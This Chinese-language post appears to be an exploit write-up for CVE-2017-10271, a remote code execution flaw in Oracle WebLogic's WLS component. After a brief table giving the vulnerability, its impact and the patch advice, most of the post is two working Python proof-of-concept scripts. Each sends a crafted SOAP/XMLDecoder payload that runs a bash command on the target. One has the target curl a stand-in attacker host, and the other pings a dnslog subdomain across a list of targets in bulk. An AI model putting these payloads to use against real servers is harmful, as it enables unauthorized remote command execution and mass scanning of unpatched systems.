0x00 漏洞说明
| 漏洞名称 | WebLogic WLS 组件命令执行漏洞 |
| 漏洞描述 | CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞，属于没有公开细节的野外利用漏洞，大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。 |
| 潜在危害 | 该漏洞的利用方法较为简单，攻击者只需要发送精心构造的 HTTP 请求，就可以拿到目标服务器的权限，危害巨大。攻击者能够同时攻击Windows及Linux主机，并在目标中长期潜伏。 |
| 修复建议 | 登录Oracle官方网站，下载WebLogic十月份补丁并安装 |
0x01 poc
import requests
import re
from sys import argv
heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
}
def poc(url):
if not url.startswith("http"):
url = "http://" + url
if "/" in url:
url += '/wls-wsat/CoordinatorPortType'
post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
<void index="2">
<string>curl http://vps-ip:port/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
try:
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
response = response.text
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
except Exception, e:
response = ""
if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "Vulnerability"
return result
else:
result = "No Vulnerability"
return result
if __name__ == '__main__':
if len(argv) == 1:
print "python weblogic_poc.py url:port"
exit(0)
else:
url = argv[1]
result = poc(url=url)
print result
0x02 利用dnslog批量验证脚本
比如你有自己的dnslog平台或者用ceye.io，分配到子域名为asdf.ceye.io，那么验证的poc代码如下，其实就是导入你的列表后批量请求：
import requests
import re
from sys import argv
heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
}
def poc(url):
if not url.startswith("http"):
url = "http://" + url
if "/" in url:
url += '/wls-wsat/CoordinatorPortType'
post_str = \
'''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
<void index="2">
<string>ping {0}.asdf.ceye.io</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''.format(url)
try:
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
except Exception, e:
pass
if __name__ == '__main__':
if len(argv) == 1:
print "python weblogic_poc.py domain.list"
exit(0)
else:
file = argv[1]
f = open(file, 'r')
urls = f.readlines()
for url in urls:
result = poc(url=url)
之后登陆你的dnslog平台再看就可以了。
